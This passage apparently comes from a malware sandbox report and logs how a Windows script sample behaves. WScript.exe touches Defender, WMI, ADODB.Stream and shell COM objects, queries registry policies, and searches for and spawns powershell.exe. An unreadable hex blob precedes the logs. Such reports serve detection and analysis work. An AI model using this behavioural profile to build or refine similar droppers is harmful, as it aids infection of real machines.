@'7bb847c6ef0bc3621ec43be658f37ac76a73fab627da81de99bd688fa087f1a22af67efdd45de22734db32fa49f770c73e54fbb12bc0c8c7c6a948a5879eeba42cf170e79d79e27412da34f301df7bca2551eabc14cf91dd98fc218f9ae68fe778b83ff9dc59e66a55bb48b60cba35896a15af8337da9ad899fa188ba485e6a83cfd7bdac959ee691a9a4f9c0cba35896a15aff81fdd9cc39ef322f2c5afe0a42ae16ffdd444e94c18cf4f9c0cba3589633885f8648ec8bcfdbd658fc189e0a031f63ff2b021a7275d9662b60cba42db2341eaf500cb8ac490bd67fc958af7b331f678a9e564d52719d321f948f37bce6a46eaa931cb86d292bf48a5c1cba5e7259515a99d0ba70a779662b60cea67c62950fcab64d5e5bbd7bd658fc1cba5e72cea66a9c6268d275d9662b60cba35896a15affb64ec89c292ab718f858ee6a83cfd12839d0ba7275d9662b60cba35896e47eeaf00cf9cd0d7a065f4b292f6b33df531cad245f1620fc21fac16dc67c62777eeab2198dce283ef2cc186c3a18236fb70edd84fd4730fdf2cf105971f896a15aff8648ec891d7bd65a2ebcba5e778b83fa99d0ba7275d9562dd49e335dd2515eda130cb9bbcfdbd658fc1cba5e778b83fa99d0fec6204f223e24dba28891166f6ab30cb859fa3f83ddbcfaeeba437fc76e7da76bd3d28e204ae02dd70dd084cfbbd3786ccf592fe37d6919feca836d37af094268d275d9662b60cba35896a15affc2fcb91f298e82bdbc1d6a5e333fd66cddc5fe62931d32cf158f218a36a15aff8648ec891d7bd658fece1a5e778b83fa99d0ba7275d9661b663ef61d93f41afb936dc89c8fa97658fc1cba5e778b83fa99d0ba3770fd921f35fe970cd0e54fbb96493c8ff92ea68e08381e0a42cb87df0c94edc5a5d9230f75bde74dd2b1bc3bd2ac99cd9fa97658fc1cba5e778b83fa99d0b8a0d5d9662b60cba35896a15aff8678eb0fea5bd31dd8085f6a137ea72e8c942e86970bc62b60cba35896a15aff8648e8ede85bd6d8b8885e1a220b822a98d10a72314d826f354ba38c53e15abaa25d9acd083fc6be38485e2b330a33fadd445e362059d69bf0ce118a36a15aff8648ec891d7bd658fc1cba5e77ce86de6de4ef47418d206f758fb4e8d235bebbd3cf3c88cd7b937ce96afe4b339c33be0d34fe27f20966ff454f567896e5eeaa100cf9cd0acb92cc1858efde77db83be2d852c46808d836cb219035896a15aff8648ec891d7bd38a2ebcba5e778b83fa99d0ba7275dbb48b60cba35896a15aff8648ec892d7de2ac1978ef7b378ec70a9ce5ff56e13d14f9c0cba35896a15aff8648ec89185f831da9385a59c0be16cfdd846a95318ce36b869f476c62e5ce1bf1994d2e4a3db7d81a68ef1942cea76e7da03a3770fd921f35fe970cd0e54fbb96da3e291d7bd658fc1cba5ba55923fa99d0ba7275d9621f758f97d89313885f8648ec891d7bd658fc1cba5902af16bec906ef57512c462b468ff76c62e5ce1bf64cb9ac398ef7f8fc5c3a19876dd67ead85bf36e12d86cdb49e966c82d50a6fa49a4c891d7bd658fc1cba5e778b86decc95ef5695d922ce340f618a36a15aff8648ec8918a904f8fc1cba5ba55926284b7268d245df731e549f777c53315c6b632c18bd083f42ac1c1a3e4a93cf47afb9d06a74611c227e442fb61c03c50af9129de84d49af82bdb809feca836b869b889268d6108d821e245f57b890954e3b469ef9bc292f027c398a6e0b330f77ba9c6268d275d9662e64de874c4623885f8648ec891d7bd65f4a392f1a203c542adfc58f46210d42eef7cfb6cc52554ebf449a4c891d7bd658fc1cbdeb42cea76e7da76a35304c627df48ff7bdd2353e6bd3682e5bbd7bd658fc1cba5e703eb6bfbd445e05a59fb27e244f571e02e50e1ac2dc881d485b148a5c1cba5e778b83fa9e644e56d18d536cd71c731e02445faac05dc8fc49af82bdb92e68fe778b83fa0b021a7275d964f9c0cba35893a47e0bb21dd9b918c904f8fc1cba5e778b83ffdcf52a77c70bc62b60cba35896a15aff8648ecb91bbf224cbc18af6b43df57de5c4268d275d9662b60cba35896a15affc25dd9bd49aff29d6a885f6b339f67cec9d16a75c2ecf31e249f73bfb2f53e3bd27da81de99b304dc928ee8a534e142b38767e866199e66d75fe970c42859f68825d784de96f96ca2ebcba5e778b83fa99d0ba7275dbb48b60cba35896a15aff8648ec892d7da20dbc19ffcb73d9515a99d0ba7275d9662b60cba358d3e4cffbd0dc09bc596f326cac1d6a5e339eb6cecd049eb7e34d831e24df476cc6472eaac10d798d4dfb911d6918ecca33df66be0db42e27554bb48b60cba35896a15aff8648ec8bcfdbd658fc1cba5e778b83fa99d42e127559b2cf958ba31dd3345ea912add9cd099fe2086c19088cd78b83fa99d0ba7275d9662b60cba35891d47e6ac2183bfd085f32cc186cba79321e87aa99a0fd37e0dd30bf249f461c02c5ceaaa638e86de83bd23c09485e1e555923fa99d0ba7275d9662b60cba35896a15fdbd30db9adfd7b92bda8d8788cd78b83fa99d0ba7275d9662b651971f896a15aff8648ec891d7bd65a2ebcba5e778b83fa99d0ba7275d9562d445f471c02452afbe28cf8fc2fa97658fc1cba5e778b83fa99d0ba36111d725e50ca735f21850e9b421cd9cd898f36bed8885e1ae36ff59e5dc4cf45a478c11e24dee7cca6a18edb7368e88bcfdbd658fc1cba5e778b83fa99d0ba7275d9662b677c870cf2650ecac2dc1869fb5f42bcb8885e28134f978fae011bd5708d42eff4fba38cb254" ... "WScript.exe" called "WScript.Sleep" ... 35:T1932,"WScript.exe" touched "JScript Language" (Path: "HKCU\CLSID\{F414C260-6AC0-11CF-B6D1-00AA00BBBB58}") "WScript.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "WScript.exe" touched "Constructor that allows hosts better control creating scriptlets" (Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\TREATAS") "WScript.exe" touched "Scripting.Dictionary" (Path: "HKCU\CLSID\{EE09B103-97E0-11CF-978F-00A02463E06F}\TREATAS") "WScript.exe" touched "VBScript Regular Expression" (Path: "HKCU\CLSID\{3F4DACA4-160D-11D2-A8E9-00104B365C9F}\TREATAS") "WScript.exe" touched "XML DOM Document 6.0" (Path: "HKCU\CLSID\{88D96A05-F192-11D4-A65F-0040963251E5}\TREATAS") "WScript.exe" touched "ADODB.Stream" (Path: "HKCU\CLSID\{00000566-0000-0010-8000-00AA006D2EA4}\TREATAS") "WScript.exe" touched "Multi Language Support" (Path: "HKCU\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}\TREATAS") "WScript.exe" touched "FileSystem Object" (Path: "HKCU\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\TREATAS") "WScript.exe" touched "Windows Script Host Shell Object" (Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\TREATAS") "WScript.exe" touched "Wbem Scripting Object Path" (Path: "HKCU\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\TREATAS") "WScript.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "WScript.exe" touched "WbemDefaultPathParser" (Path: "HKCU\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\TREATAS") "WScript.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "WScript.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "WScript.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "WScript.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "WScript.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "WScript.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "WScript.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "WScript.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "WScript.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "WScript.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "WScript.exe" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "WScript.exe" touched "CLSID_SearchFolder" (Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "WScript.exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") "WScript.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "WScript.exe" touched "@C:\Program Files (x86)\Microsoft Office\Office15\MAPISHELL.DLL,-110" (Path: "HKCU\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER") "WScript.exe" touched "Public Folder" (Path: "HKCU\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "WScript.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "WScript.exe" touched "This Device" (Path: "HKCU\CLSID\{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}\SHELLFOLDER") "WScript.exe" touched "CLSID_AppInstanceFolder" (Path: "HKCU\CLSID\{64693913-1C21-4F30-A98F-4E52906D3B56}\SHELLFOLDER") "WScript.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "WScript.exe" touched "DXP" (Path: "HKCU\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "WScript.exe" touched "CLSID_SearchHome" (Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuLauncherProviderFolder" (Path: "HKCU\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuCommandingProviderFolder" (Path: "HKCU\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER") "WScript.exe" touched "Other Users Folder" (Path: "HKCU\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "WScript.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "WScript.exe" touched "Games Explorer" (Path: "HKCU\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "WScript.exe" touched "StreamBackedFolder" (Path: "HKCU\CLSID\{EDC978D6-4D53-4B2F-A265-5805674BE568}\SHELLFOLDER") "WScript.exe" touched "Computers and Devices" (Path: "HKCU\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "WScript.exe" touched "Removable Drives" (Path: "HKCU\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\SHELLFOLDER") "WScript.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "WScript.exe" touched "Sync root manager" (Path: "HKCU\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "WScript.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "WScript.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "WScript.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "WScript.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32")36:Tf92,Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00002468-00000C2B-1240478953] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00002468-00000C2B-1240646761] Observed system executable string:"%WINDIR%\system32\kernel32.dll" [Source: 00000000-00002468-00000C2B-1243220646] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00005784-00000C2E-179343476] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00005784-00000C2B-1243960378] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00005784-00000C2B-1244026846] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00005784-00000C2B-1244060787] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00005784-00000C2B-1244162066] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00005784-00000C2B-1244181072] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00005784-00000C2B-1244203101] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00005784-00000C2B-1244228435] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00005784-00000C2B-1244264744] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00005784-00000C2B-1244288363] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00005784-00000C2B-1244322626] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00005784-00000C2B-1244402219] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00005784-00000C2B-1244447968] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00005784-00000C2B-1244615220] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00005784-00000C2B-1244624412] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00005784-00000C2B-1244678460] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00005784-00000C2B-1244895406] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00005784-00000C2B-1244944871] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00005784-00000C2B-1244998617] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00005784-00000C2B-1245032778] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00005784-00000C2B-1245057677] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll" [Source: 00000000-00005784-00000C2B-1245258470]37:T65c,"WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\POLICIES\MICROSOFT\CRYPTOGRAPHY\CONFIGURATION"; Key: ""; Value: "")38:Tedb,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "USEFILTER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "DISABLEHEAPLOOKASIDE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "FRONTENDHEAPDEBUGOPTIONS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "SHUTDOWNFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "UNLOADEVENTTRACEDEPTH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "MAXLOADERTHREADS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "USEIMPERSONATEDDEVICEMAP"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "TRACINGFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "CFGOPTIONS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "MINIMUMSTACKCOMMITINBYTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "BREAKONINITIALIZEPROCESSFAILURE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "KEEPACTIVATIONCONTEXTSALIVE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "TRACKACTIVATIONCONTEXTRELEASES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "MAXDEADACTIVATIONCONTEXTS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "GLOBALFLAG"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "CWDILLEGALINDLLSEARCH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "DEBUGPROCESSHEAPONLY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "SEARCHPATHMODE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "")39:T827,"WScript.exe" trying to access non-existent file "C:\Program Files\Common Files\system\ado\MSDART.DLL" "WScript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\SLC.DLL" "WScript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\SPPC.DLL" "WScript.exe" trying to access non-existent file "C:\Windows\System32\POWERSHELL.EXE" "WScript.exe" trying to access non-existent file "C:\powershell.exe" "WScript.exe" trying to access non-existent file "C:\Windows\System\POWERSHELL.EXE" "WScript.exe" trying to access non-existent file "C:\Windows\POWERSHELL.EXE" "WScript.exe" trying to access non-existent file "C:\ProgramData\Oracle\Java\javapath_target_114250\POWERSHELL.EXE" "WScript.exe" trying to access non-existent file "C:\Windows\System32\wbem\POWERSHELL.EXE" "WScript.exe" trying to access non-existent file "C:\Windows\System32\wbem\WBEMCOMN.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSVCP140.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\VCRUNTIME140.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\VCRUNTIME140_1.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL"3a:Tc10,"WScript.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "WScript.exe" trying to access non-existent file "C:\TEMP" "WScript.exe" trying to access non-existent file "C:\Windows\System32\taskkill.exe:ZONE.IDENTIFIER" "powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.DATA.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.TRANSACTIONS.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.XAML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.XAML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\PackageManagement\PACKAGEMANAGEMENT.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\PackageManagement\PACKAGEMANAGEMENT.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\PackageManagement\PACKAGEMANAGEMENT.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\PackageManagement\PACKAGEMANAGEMENT.XAML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Pester\PESTER.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Pester\PESTER.PSM1" "powershell.exe" trying to access non-existent file "C:\Program 